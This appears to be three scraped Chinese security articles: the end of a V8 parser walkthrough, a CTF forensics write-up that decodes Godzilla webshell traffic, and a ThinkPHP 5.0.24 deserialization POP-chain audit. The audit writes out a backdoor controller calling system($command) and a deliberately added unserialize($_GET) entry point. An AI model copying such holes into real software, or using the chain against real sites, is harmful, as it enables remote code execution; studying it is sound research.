body->Add(stat);
}
}
上一个方法是语法分析的入口，而`ParseStatementList()`是开始分析程序语句。`while (peek() ==
Token::STRING)`这条语句，peek是取得token字的类型，这里取来的token是`Token::FUNCTION`，所以值为假，进入`while
(peek() !=
end_token)`循环，执行`ParseStatementListItem()`方法，在这个方法中进入`Token::FUNCTION`对应的分析功能，代码如下：
ParserBase<Impl>::ParseHoistableDeclaration(
ZonePtrList<const AstRawString>* names, bool default_export) {
Consume(Token::FUNCTION);//cache机制
int pos = position();
ParseFunctionFlags flags = ParseFunctionFlag::kIsNormal;
if (Check(Token::MUL)) {
flags |= ParseFunctionFlag::kIsGenerator;
}
return ParseHoistableDeclaration(pos, flags, names, default_export);
}
`Consume()`是第三篇文章中提到的“token字缓存”机制的具体实现，从缓存中取出一个token开始分析，如果缓存缺失(cache
miss)，则驱动词法分析器(Scanner)开始工作。从`Consume`取token的方法原理是使Scanner类中的current
_成员指向next_ 成员，再利用next_next判断是否扫描下一个token字，请读者自行查阅代码。
取出token字`function`、类型函数（Token::FUNCTION），接下来判断该函数属于哪种类型（FunctionKind），FunctionKind的具体代码如下：
enum FunctionKind : uint8_t {
// BEGIN constructable functions
kNormalFunction,
kModule,
kAsyncModule,
//.................................
//省略了很多代码
//.................................
// END concise methods 1
kAsyncGeneratorFunction,
// END async functions
kGeneratorFunction,
// BEGIN concise methods 2
kConciseGeneratorMethod,
kStaticConciseGeneratorMethod,
// END generators
kConciseMethod,
kStaticConciseMethod,
kClassMembersInitializerFunction,
kClassStaticInitializerFunction,
// END concise methods 2
kInvalid,
kLastFunctionKind = kClassStaticInitializerFunction,
};
不要混淆FunctionKind和Token::FUNCTION的概念，它们属于不同技术领域，Token属于编译技术，FunctionKind属于ECMA规范。在样例代码中，Token字`function`的FunctionKind是`KnormalFunction`,所以下一步是分析这个函数的名字（Token::IDENTIFIER），代码如下：
const AstRawString* Scanner::CurrentSymbol(
AstValueFactory* ast_value_factory) const {
if (is_literal_one_byte()) {
return ast_value_factory->GetOneByteString(literal_one_byte_string());
}
return ast_value_factory->GetTwoByteString(literal_two_byte_string());
}
在`CurrentSymbol()`方法中，进行`one_byte`判断，JsPrint是one_byte类型，`if`语句为真，返回标识符。图1给出了`CurrentSymbol()`方法的函数调用堆栈，方便读者复现代码执行过程。
至此，两个Token字`function`和`JsPrint`语法分析完成，通俗概述以上代码的工作流程如下：
**（1）：** 在Javascript源码中，当看到’function’这个字符时，后面应该是一个函数；
**（2）：** 判断这个函数类型(FunctionKind)，是异步或其它等等，样例代码是kNormalFunction；
**（3）：** 是kNormalFunction，去获取函数的名字。
### 3.2 延迟分析
什么是延迟分析，延迟分析是V8中一种性能优化技术，即非立即执行的代码先不分析，执行时再做分析。众所周知，一个程序中，代码执行是有先后顺序的，也并不是所有代码都会执行，基于这一点，V8内部实现了延迟分析、延迟编译技术，达到提高效率的目的。下面讲解样例代码为什么会触发延迟分析。
JsPrint是一个常规(kNormalFunction)方法，取得函数名之后，开始分析函数内容，代码如下：
FunctionLiteral* Parser::ParseFunctionLiteral(
const AstRawString* function_name, Scanner::Location function_name_location,
FunctionNameValidity function_name_validity, FunctionKind kind,
int function_token_pos, FunctionSyntaxKind function_syntax_kind,
LanguageMode language_mode,
ZonePtrList<const AstRawString>* arguments_for_wrapped_function) {
bool is_wrapped = function_syntax_kind == FunctionSyntaxKind::kWrapped;
DCHECK_EQ(is_wrapped, arguments_for_wrapped_function != nullptr);
int pos = function_token_pos == kNoSourcePosition ? peek_position()
: function_token_pos;
DCHECK_NE(kNoSourcePosition, pos);
bool should_infer_name = function_name == nullptr;
if (should_infer_name) {
function_name = ast_value_factory()->empty_string();
}
FunctionLiteral::EagerCompileHint eager_compile_hint =
function_state_->next_function_is_likely_called() || is_wrapped
? FunctionLiteral::kShouldEagerCompile
: default_eager_compile_hint();
DCHECK_IMPLIES(parse_lazily(), info()->flags().allow_lazy_compile());
DCHECK_IMPLIES(parse_lazily(), has_error() || allow_lazy_);
DCHECK_IMPLIES(parse_lazily(), extension() == nullptr);
const bool is_lazy =
eager_compile_hint == FunctionLiteral::kShouldLazyCompile;
const bool is_top_level = AllowsLazyParsingWithoutUnresolvedVariables();
const bool is_eager_top_level_function = !is_lazy && is_top_level;
const bool is_lazy_top_level_function = is_lazy && is_top_level;
const bool is_lazy_inner_function = is_lazy && !is_top_level;
RCS_SCOPE(runtime_call_stats_, RuntimeCallCounterId::kParseFunctionLiteral,
RuntimeCallStats::kThreadSpecific);
base::ElapsedTimer timer;
if (V8_UNLIKELY(FLAG_log_function_events)) timer.Start();
const bool should_preparse_inner = parse_lazily() && is_lazy_inner_function;
bool should_post_parallel_task =
parse_lazily() && is_eager_top_level_function &&
FLAG_parallel_compile_tasks && info()->parallel_tasks() &&
scanner()->stream()->can_be_cloned_for_parallel_access();
// This may be modified later to reflect preparsing decision taken
bool should_preparse = (parse_lazily() && is_lazy_top_level_function) ||
should_preparse_inner || should_post_parallel_task;
ScopedPtrList<Statement> body(pointer_buffer());
int expected_property_count = 0;
int suspend_count = -1;
int num_parameters = -1;
int function_length = -1;
bool has_duplicate_parameters = false;
int function_literal_id = GetNextFunctionLiteralId();
ProducedPreparseData* produced_preparse_data = nullptr;
Zone* parse_zone = should_preparse ? &preparser_zone_ : zone();
DeclarationScope* scope = NewFunctionScope(kind, parse_zone);
SetLanguageMode(scope, language_mode);
#ifdef DEBUG
scope->SetScopeName(function_name);
#endif
if (!is_wrapped && V8_UNLIKELY(!Check(Token::LPAREN))) {
ReportUnexpectedToken(Next());
return nullptr;
}
scope->set_start_position(position());
bool did_preparse_successfully =
should_preparse &&
SkipFunction(function_name, kind, function_syntax_kind, scope,
&num_parameters, &function_length, &produced_preparse_data);
if (!did_preparse_successfully) {
if (should_preparse) Consume(Token::LPAREN);
should_post_parallel_task = false;
ParseFunction(&body, function_name, pos, kind, function_syntax_kind, scope,
&num_parameters, &function_length, &has_duplicate_parameters,
&expected_property_count, &suspend_count,
arguments_for_wrapped_function);
}
if (V8_UNLIKELY(FLAG_log_function_events)) {
double ms = timer.Elapsed().InMillisecondsF();
const char* event_name =
should_preparse
? (is_top_level ? "preparse-no-resolution" : "preparse-resolution")
: "full-parse";
logger_->FunctionEvent(
event_name, flags().script_id(), ms, scope->start_position(),
scope->end_position(),
reinterpret_cast<const char*>(function_name->raw_data()),
function_name->byte_length(), function_name->is_one_byte());
}
#ifdef V8_RUNTIME_CALL_STATS
if (did_preparse_successfully && runtime_call_stats_ &&
V8_UNLIKELY(TracingFlags::is_runtime_stats_enabled())) {
runtime_call_stats_->CorrectCurrentCounterId(
RuntimeCallCounterId::kPreParseWithVariableResolution,
RuntimeCallStats::kThreadSpecific);
}
#endif // V8_RUNTIME_CALL_STATS
language_mode = scope->language_mode();
CheckFunctionName(language_mode, function_name, function_name_validity,
function_name_location);
if (is_strict(language_mode)) {
CheckStrictOctalLiteral(scope->start_position(), scope->end_position());
}
FunctionLiteral::ParameterFlag duplicate_parameters =
has_duplicate_parameters ? FunctionLiteral::kHasDuplicateParameters
: FunctionLiteral::kNoDuplicateParameters;
FunctionLiteral* function_literal = factory()->NewFunctionLiteral(
function_name, scope, body, expected_property_count, num_parameters,
function_length, duplicate_parameters, function_syntax_kind,
eager_compile_hint, pos, true, function_literal_id,
produced_preparse_data);
function_literal->set_function_token_position(function_token_pos);
function_literal->set_suspend_count(suspend_count);
RecordFunctionLiteralSourceRange(function_literal);
if (should_post_parallel_task) {
// Start a parallel parse / compile task on the compiler dispatcher.
info()->parallel_tasks()->Enqueue(info(), function_name, function_literal);
}
if (should_infer_name) {
fni_.AddFunction(function_literal);
}
return function_literal;
}
`ParseFunctionLiteral()`，这个方法名字表明了它的主要功能是对函数内容进行语议分析。名字JsPrint分析完成后，进入这个方法分析JsPrint函数的内容，先判断这个方法是否符合延迟分析条件。
图2是样例代码，可以看出`JsPrint`不会马上执行，并且它是最外部的顶层方法，满足延迟分析条件。从Javascript的执行顺序也可以得到同样的结论：定义JsPrint函数，但代码执行时最先执行的是`console.log()`，`console.log()`执行时需要先计算参数并压栈，所以说JsPrint不是立即执行的，而`console.log()`执行时调用了JsPrint,所以它满足延迟分析条件。
调试程序是最有效的验证手段，从代码的角度验证上述结论是否正确，
请读者跟踪`ParseFunctionLiteral()`方法，并查看`is_lazy`和`is_top_level`成员的值，看到这两个成员的值为真，上述结论正确无误，图3给出`ParseFunctionLiteral()`的调用堆栈，便于读者复现代码执行过程。
下面给出`JsPrint()`的抽象语法图，供读者分析学习，如图4。
总结，语法分析器代码逻辑十分复杂，分析代码时做好堆栈记录，有助于在跟踪代码中发生“跟错、跟丢”问题时快速帮你找到最近的正确位置，提高学习效率。
好了，今天到这里，下次见。
**微信：qq9123013 备注：v8交流 邮箱：[[email protected]](mailto:[email protected])** | 社区文章 |
# 1\. 内存分析
**6.1虚拟机的密码是 ** ** **_****** 。（密码中为flag{xxxx}，含有空格，提交时不要去掉）
6.2虚拟机中有一个某品牌手机的备份文件，文件里的图片里的字符串为 ** ** **_******
。（解题过程中需要用到上一题答案中flag{}内的内容进行处理。本题的格式也是flag{xxx}，含有空格，提交时不要去掉）**
tips也是不要去空格
用volatility_2.6_win64_standalone.exe分析Target.vmem，先看系统版本
**volatility_2.6_win64_standalone.exe -f Target.vmem imageinfo**
第一个就是，用pslist尝试是否正确
**volatility_2.6_win64_standalone.exe -f Target.vmem --profile=Win7SP1x64
pslist**
第一题问虚拟机密码，所以直接dumphash就行了。
**volatility_2.6_win64_standalone.exe -f Target.vmem --profile=Win7SP1x64
lsadump**
flag{W31C0M3 T0 THiS 34SY F0R3NSiCX}
列出虚拟机文件
**volatility_2.6_win64_standalone.exe -f Target.vmem --profile=Win7SP1x64
filescan**
用国产手机名做关键词搜索，可以发现一个exe，dump下来
**volatility_2.6_win64_standalone.exe -f Target.vmem --profile=Win7SP1x64
dumpfiles -Q 0x000000007d8c7d10 -n --dump-dir=./**
大点的文件改后缀为exe双击即可解压
发现images0.tar.enc，为华为手机的加密文件，网上找到个解密项目，密码是之前的flag，空格替换为下划线。
<https://github.com/RealityNet/kobackupdec>
**python3 kobackupdec.py -vvv W31C0M3_T0_THiS_34SY_F0R3NSiCX
"D:\Downloads\CTF\陇剑杯\HUAWEI P40_2021-aa-bb xx.yy.zz" D:\qqq**
注意backup_path要指定info.xml存在的目录，且dest_path目录也就是qqq不能已存在。
# 2\. wifi
**9.1小王往upload-labs上传木马后进行了cat /flag，flag内容为 ** ** **_******
。（压缩包里有解压密码的提示，需要额外添加花括号）**
先看服务器.pcapng
可以发现只有发出去的包，且为哥斯拉php_eval_xor_base64流量
哥斯拉php_eval_xor_base64流量是3.0才更新的php连接方式，其目的是为了支持普通的一句话eval($_POST[1])。不过其本质就是利用pass参数传了一个php_xor_base64哥斯拉马罢了，所以流量特征和php_xor_base64类似。
<https://www.freebuf.com/sectool/285693.html>
这篇文章很好的分析了哥斯拉的特征和解密方法。
这里由于只有Request，我们的目的是获取cat
/flag的内容，肯定在返回包里，所以解密Request没意义，只要记下密码pass，密钥key均为哥斯拉默认的即可。
再看客户端.cap
发现是wifi的流量，可以看到wifi名叫My_Wifi
最后分析Windows 7-dde00fa9.vmem，还是找文件
**volatility_2.6_win64_standalone.exe -f "Windows 7-dde00fa9.vmem" imageinfo
volatility_2.6_win64_standalone.exe -f "Windows 7-dde00fa9.vmem"
--profile=Win7SP1x86_23418 pslist
volatility_2.6_win64_standalone.exe -f "Windows 7-dde00fa9.vmem"
--profile=Win7SP1x86_23418 filescan**
报错了，查了下是pyinstaller的问题，用linux版即可。
使用My_Wifi关键词找到关键文件，dump下来。
**./volatility_2.6_lin64_standalone -f Windows\ 7-dde00fa9.vmem
--profile=Win7SP1x86_23418 filescan | grep My_Wifi
./volatility_2.6_lin64_standalone -f Windows\ 7-dde00fa9.vmem
--profile=Win7SP1x86_23418 dumpfiles -Q 0x000000003fdc38c8 -n --dump-dir=./**
提示解压密码是GUID
网上搜一下，本机getmac /V /S 127.0.0.1可以看到自己的wifi GUID
这种com格式字符串很有可能在windows文件系统或者注册表中，在自己电脑上搜一下。
那么用Interfaces关键字去定位。
**./volatility_2.6_lin64_standalone -f Windows\ 7-dde00fa9.vmem
--profile=Win7SP1x86_23418 filescan | grep Interfaces**
获取GUID——{529B7D2A-05D1-4F21-A001-8F4FF817FC3A}
用GUID解压My_Wifi.zip获取wifi密码233@114514_qwe
很显然，这个密码是用来解密WiFi流量客户端.cap的
先查看ESSID
**aircrack-ng 1.cap**
然后解密得到1-dec.cap
**airdecap-ng 1.cap -e My_Wifi -p 233@114514_qwe**
这样就可以看到wifi的解密流量，里面重要的是http返回包。
前后各16位的md5，中间夹着base64异或流量，典型的哥斯拉特征，和之前的服务器发起包对应起来了。
根据前面的文章分析，就是base64解码并和key的md5前16位异或即可，但文章前面也提了，哥斯拉会判断对方服务器是否支持gzip，支持之后后续的操作都会gzip压缩一次。
我们查看服务器流量的前几次发包。
然后查看wifi流量的返回包
可以看到，在前几次发包之后，base64编码部分都变成fL1tMG打头了，这部分就是需要多一个gzip解压的部分，实战中在这里踩了很大的坑，虽然最终用取巧的办法还是做出来了。取巧的办法后面说。
抄哥斯拉的java代码，写出解密程序。
package test;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.util.Base64;
import java.util.zip.GZIPInputStream;
public class Test{
private static byte[] key = "3c6e0b8a9c15224a".getBytes();
public static void main(String[] args) throws Exception {
byte[] bs = decode("DlMRWA1cL1gOVDc2MjRhRwZFEQ==");
//System.out.println(new String(uncompress(bs)));
System.out.println(new String(bs));
}
public static byte[] decode(String data) {
if (data != null && data.length() > 0) {
return D(data);
} else {
return data.getBytes();
}
}
public static byte[] D(String data) {
byte[] cs = Base64.getDecoder().decode(data);
int len = cs.length;
for(int i = 0; i < len; ++i) {
cs[i] ^= key[i + 1 & 15];
}
return cs;
}
public static String findStr(byte[] respResult) {
String htmlString = new String(respResult);
return htmlString;
}
public static byte[] uncompress(byte[] bytes) {
if (bytes == null || bytes.length == 0) {
return null;
}
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(bytes);
try {
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
} catch (Exception e) {
e.printStackTrace();
}
return out.toByteArray();
}
}
Wifi流量最后一个黑色的返回包，即被waf拦截掉的包就是flag内容。
那么有什么取巧的办法呢？很简单，我们只需要自己弄一个同版本，同密码密钥的哥斯拉，走burp代理，执行命令时拦包改返回包即可。
可以看到我执行了whoami，返回了flag。 | 社区文章 |
# ThinkPHP 5.0.X代码审计：
## 前言：
本次记录主要是对ThinkPHP 框架的 5.0.x版本进行代码审计，主要涉及的软件有：
> PHPSTORM
>
> Seay源代码审计系统
>
> Phpstudy_pro
>
> PHP版本使用7.3.4
关于PHPSTORM的Xdebug的搭建，我主要参考了[暗月的教程](https://www.bilibili.com/video/BV1Ri4y1m7AZ/?spm_id_from=333.788&vd_source=12a4f922a214b16d9f4d1f3565210b8b)
（说实话phpstudy_pro的配置文件真的太麻烦了）
[ThinkPHP 5.0.24 链接](http://www.thinkphp.cn/donate/download/id/1279.html)
## Seay自动审计：
首先还是常规操作，使用Seay源代码审计系统来进行自动审计：
这边出了一堆。不过不是每个都有用的。
主要还是要审计POP链，然后RCE。
## 目录结构：
首先是对ThinkPHP 5.0目录结构进行查看：
www WEB部署目录（或者子目录）
├─application 应用目录
│ ├─common 公共模块目录（可以更改）
│ ├─module_name 模块目录
│ │ ├─config.php 模块配置文件
│ │ ├─common.php 模块函数文件
│ │ ├─controller 控制器目录
│ │ ├─model 模型目录
│ │ ├─view 视图目录
│ │ └─ ... 更多类库目录
│ │
│ ├─command.php 命令行工具配置文件
│ ├─common.php 公共函数文件
│ ├─config.php 公共配置文件
│ ├─route.php 路由配置文件
│ ├─tags.php 应用行为扩展定义文件
│ └─database.php 数据库配置文件
│
├─public WEB目录（对外访问目录）
│ ├─index.php 入口文件
│ ├─router.php 快速测试文件
│ └─.htaccess 用于apache的重写
│
├─thinkphp 框架系统目录
│ ├─lang 语言文件目录
│ ├─library 框架类库目录
│ │ ├─think Think类库包目录
│ │ └─traits 系统Trait目录
│ │
│ ├─tpl 系统模板目录
│ ├─base.php 基础定义文件
│ ├─console.php 控制台入口文件
│ ├─convention.php 框架惯例配置文件
│ ├─helper.php 助手函数文件
│ ├─phpunit.xml phpunit配置文件
│ └─start.php 框架入口文件
│
├─extend 扩展类库目录
├─runtime 应用的运行时目录（可写，可定制）
├─vendor 第三方类库目录（Composer依赖库）
├─build.php 自动生成定义文件（参考）
├─composer.json composer 定义文件
├─LICENSE.txt 授权说明文件
├─README.md README 文件
├─think 命令行入口文件
这部分可以比较明确的看见每个部分代码的作用是什么，方便到时候思考，或者是跟链子。
## 构建利用点：
**关于控制器文件(Controller):**
ThinkPHP的控制器是一个类，接收用户的输入并调用模型和视图去完成用户的需求，控制器层由核心控制器和业务控制器组成，核心控制器由系统内部的App类完成，负责应用（包括模块、控制器和操作）的调度控制，包括HTTP请求拦截和转发、加载配置等。业务控制器则由用户定义的控制器类完成。多层业务控制器的实现原理和模型的分层类似，例如业务控制器和事件控制器。
**控制器写法：**
控制器文件通常放在`application/module/controller`下面，类名和文件名保持大小写一致，并采用驼峰命名（首字母大写）。
一个典型的控制器类定义如下：
<?php
namespace app\index\controller;
use think\Controller;
class Index extends Controller
{
public function index()
{
return 'index';
}
}
控制器类文件的实际位置是
application\index\controller\Index.php
一个例子：
<?php
namespace app\index\controller;
class Index
{
public function index()
{
return '<style type="text/css">*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p> ThinkPHP V5<br/><span style="font-size:30px">十年磨一剑 - 为API开发设计的高性能框架</span></p><span style="font-size:22px;">[ V5.0 版本由 <a href="http://www.qiniu.com" target="qiniu">七牛云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ad_bd568ce7058a1091"></think>';
}
}
public function backdoor($command)
{
system($command);
}
}
想进入后门，需要访问：
http://ip/index.php/Index/backdoor/?command=ls
像上面这样就可以实现命令执行。
这个框架是需要 **二次开发** ，并且实现反序列化才能够进行利用， **所以需要手写一个利用点。** 就写在controller里。
<?php
namespace app\index\controller;
class Index
{
public function index()
{
echo "Welcome thinkphp 5.0.24";
unserialize(base64_decode($_GET['a'])); //下面部分是自带的。
return '<style type="text/css">*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p> ThinkPHP V5<br/><span style="font-size:30px">十年磨一剑 - 为API开发设计的高性能框架</span></p><span style="font-size:22px;">[ V5.0 版本由 <a href="http://www.qiniu.com" target="qiniu">七牛云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ad_bd568ce7058a1091"></think>';
}
}
## 利用链分析：
对于PHP反序列化来说，一般来说，比较常见的起点是：
> _wakeup() 反序列化后，自动被调用
>
> _destruct() 对象被销毁前，被调用
>
> _toString() 对象被当作字符串输出前，被调用
比较常见的中间跳板是：
> __toString 当一个对象被当做字符串使用，自动被调用
>
> __get 读取不可访问或不存在属性时被调用
>
> __set 当给不可访问或不存在属性赋值时被调用
>
> __isset 对不可访问或不存在的属性调用isset()或empty()时被调用
>
> 形如 $this->$func();
根据以上两个经验，首先在Seay中进行全局查找。
那么可能存在的POP链大概率就在这部分。
## 尝试审计：
尝试审计第一个`__wakeup()`
实际上来说`__wakeup()`因为是在进行了反序列化之后才进行的，所以大部分时候是对反序列化内容的限制，很少作为入口，大部分时候可以直接看`__destruct()`
但是这里还是看一下
从Seay里可以看见，这部分的反序列化函数在：
首先看一下`unserialize()`中的值是否可控。
向上看一下`$value`
这里可以看见value的值被设置为了null。
后面陆续向下看，可以发现的是$value值在这部分被用来存储时间戳
然后在接下来的`writeTransform()`函数部分进行使用者需要的数据类型的更改。
然后在`readTransform()`部分进行数据类型的变回去（进行了json格式加码，就进行解码，进行了序列化的就反序列化）
因此很容易发现`$value`的值是我们不能操控的，所以这里无法利用。
## POP链：
有了以上的经验，接下来我们对`__destruct()`函数进行审计。
路径：
thinkphp/library/think/process/pipes/Windows.php
这里首先看一下`__destruct()`
可以看见这边调用了两个函数，跟进一下。
首先分析一下`close()`成员方法。
可以看到这里首先是调用了父类中的`close()`方法，这里跟进一下，可以找到父类`Pipes`中的`close()`方法
这里的作用就是将`pipes`数组中存在的文件一一关闭，最后再将`pipes`数组清空。
子类中的方法同理，可知`close()`用于关闭文件，虽然可以控制传参，但是不能进一步利用。
分析`removeFiles()`成员方法。
可以看见这里有一个敏感函数，`file_exists()`。当执行该函数的时候，会将参数作为字符串来判断，如果输入的是参数是一个对象，可以触发`__toString()`魔术方法
看一下`$filename`能不能控制。
这里看一下`$this->files`的用法，写入值在`__construct()`，不影响，因为反序列化不会调用`__construct()`函数
可以在`__construct()`看见files数组中，进行定义的过程。
这里使用到了`tempnam()`函数，可以再指定的目录中创建一个具有唯一文件名的临时文件。成功返回新的文件名，失败返回false。
另一个函数返回当前操作系统的临时文件目录。
这部分可以看见数组`$file`的定义，发现是可以控制的。
跟进到`__toString()`，在Seay代码审计系统中进行全局搜索：
这里经过尝试之后，可以直接跟进到`Model.php`中的`__toString()`参数。
**(注意Model是一个抽象类，要进行了继承了之后才能实例化成对象，所以要找一个子类，这里可以选择Pivot)**
跟进到`toJson()`方法。
这里使用了`json_encode()`函数，函数返回一个字符串，包含了value值json格式的表示。编码会受到options参数的印象。
跟进到`toArray()`方法。（太长了，不放截图）
/**
* 转换当前模型对象为数组
* @access public
* @return array
*/
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];
$data = array_merge($this->data, $this->relation);
// 过滤属性
if (!empty($this->visible)) {
$array = $this->parseAttr($this->visible, $visible);
$data = array_intersect_key($data, array_flip($array));
} elseif (!empty($this->hidden)) {
$array = $this->parseAttr($this->hidden, $hidden, false);
$data = array_diff_key($data, array_flip($array));
}
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
$item[$key] = $this->subToArray($val, $visible, $hidden, $key);
} elseif (is_array($val) && reset($val) instanceof Model) {
// 关联模型数据集
$arr = [];
foreach ($val as $k => $value) {
$arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
}
$item[$key] = $arr;
} else {
// 模型属性
$item[$key] = $this->getAttr($key);
}
}
// 追加属性（必须定义获取器）
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}
这里比较长，但是不需要进行特别详细的审计，主要是看看有没有可以利用的危险函数，或者是可以当成跳板的利用点。
简单看了一下，这里没有什么危险函数，所以要考虑找跳板。
这里比较常见的跳板主要是`__call()`
看看有没有可控的，调用了函数的变量。
可以看到，一共有这三个变量调用了方法，找一下有没有可控的。
**利用PHPSTORM的查找写入值，可以比较方便的看见写入和读取的过程。**
### 前提:
#### 首先看`$relation`
前两个是用getAttr()函数来返回以$key为键名的数组$data的元素值。
后一个是调用了Loader类中的方法，看一下方法：
函数备注了字符串命名风格转换，理论上来说对于输入的字符串`$name`是不会有什么影响的，如果`$name`可以进行控制的话，那么就可以控制到`$relation`。
回头查看一下：
通过查看`append`的调用，可以发现`append`是可以控制的，那么`$name`和`$relation`就是可以控制的了。可以通过这里触发`__call()`魔术方法。
#### 然后是看`$modelRelation`
这里有一个写入值的地方。
说实话，这部分我没看懂代码
查了一下之后， 对于这部分代码可以理解为：
$modelRelation = $this->$relation(); //relation是一个可以改变的函数名，可以根据$relatioin不同值，来使得$modelRelation等于不同函数的返回值。
同时要进入这部分，需要首先满足`method_exists()`这个方法。
用于这部分，就是需要满足`$relation()`所指向的方法，是存在于Model类中的方法。
这里选择的是getError()这个方法，因为返回值是可以控制的。
所以只要通过设置`$error`为一个对象，同时将`$relation`设置为getError,就可以实现对`$modelRelation`的控制，进而触发`__call()`
#### 最后看一下`$value`
这里可以看见两个写入值的地方，跟进一下`getRelationData($modelRelation)`
这里首先判断了一下传入的参数是Relation类的对象（也就是$modelRelation）
可以看见下面有一个$value = $this->parent，而`$parent`是可控的，这里如果能控制就很方便了。
看看判断条件：
if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent))
分析一下：
这里需要`$this->parent`存在，`$modelRelation`中存在`isSelfRelation()`且返回值为0，`$modelRelation`中存在`getModel()`方法。
满足以上条件之后，就可以进入if，然后令`$value=$this->partent`。所以`$value`也是可以控制的
### 触发__call():
接下来就是要考虑怎么调用函数，来触发`__call()`。
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}
#### 1、`if (!empty($this->append))`
可以直接控制，进入
#### 2、`foreach ($this->append as $key => $name)`
控制了`$append`,可以直接进入。
#### 3、`if (is_array($name))`
令上一步中的`$name`不是数组，进入。
#### 4、`elseif (strpos($name, '.'))`
`$name`不存在`.`，进入。
#### 5、`if (method_exists($this, $relation))`
要保证在Model类中，`$relation`表示的函数存在即可进入。
#### 6、`if (method_exists($modelRelation, 'getBindAttr'))`
保证在`$modelRelation`表示的类中存在`getBindAttr()`方法可以进入。
#### 7、`if ($bindAttr)`
保证`$modelRelation->getBindAttr();`存在，可以进入
#### 8、`if (isset($this->data[$key])) {`
使得`$data`中以`$key`为键的元素是空即可绕过。
#### 分析：
对于以上的八个关键点，进行分析：
因为我们可以控制`$append`，所以我们可以对`$key`和`$name`的值进行控制（通过第二点的foreach）。
接下来第三点，我们需要保证在`$append`中元素不为数组，这很好实现，随便写入一个字符串，例如`Ho1L0w-By`（只是一个例子）即可（但实际上后面的要求不一样，只是就目前情况分析）。
第四点，要求`$name`，也就是`$append`中的元素中不能有`.`，写的字符串已经实现了。
第五点和第六点需要一起看，就像是我们之前分析`$relation`和`$modelRelation`一样，为了控制第六点中的`$modelRelation`中存在`getBindAttr()`方法，我们需要将`$relation`控制写为`getError`，这样才能控制`$modelRelation`的值，使得`$modelRelation`中存在`getBindAttr()`
那么总结一下上面的六点：
`$append`中的`$key`和`$name`可以控制，且`$name`的值必须为`getError`，然后通过设置`$error`值，来进一步控制`$modelRelation`。
而根据我们之前对于`getRelationData()`方法中，`$value =
$this->partent`的分析，这里来总结一下对于`$modelRelation`需要的条件
> 1、是Relation对象
>
> 2、存在isSelfRelation()方法，且返回值存在
>
> 3、存在getModel()方法，且返回值与get_class($this->parent)相同。（双等号）
>
> 4、存在getBindAttr()
进行用法查找：
可以看见这些里面都存在Relation的类。
而看过`Relation`类之后可以发现，在所有的Relation的子类中都存在`isSelfRelation()`和`getModel()`。
这里跟进一下`getModel()`函数：
查找一下用法，可以知道`$query`是可控的，这里需要知道哪个类的`getModel()`方法是可控的，来控制返回值。
可以看见是可控的，选择Query.php。
接下来就是在这些子类中找存在`getBindAttr()`方法的类
在这里可以看见，和上面的重合点有一个，就是OneToOne.php里面。
而这里因为OneToOne这个类是抽象类，所以还需要找到它的子类。
这里可以选择HasOne.php。
这里就已经解决了`$modelRelation`的需求，可以继续看剩下的7，8点。
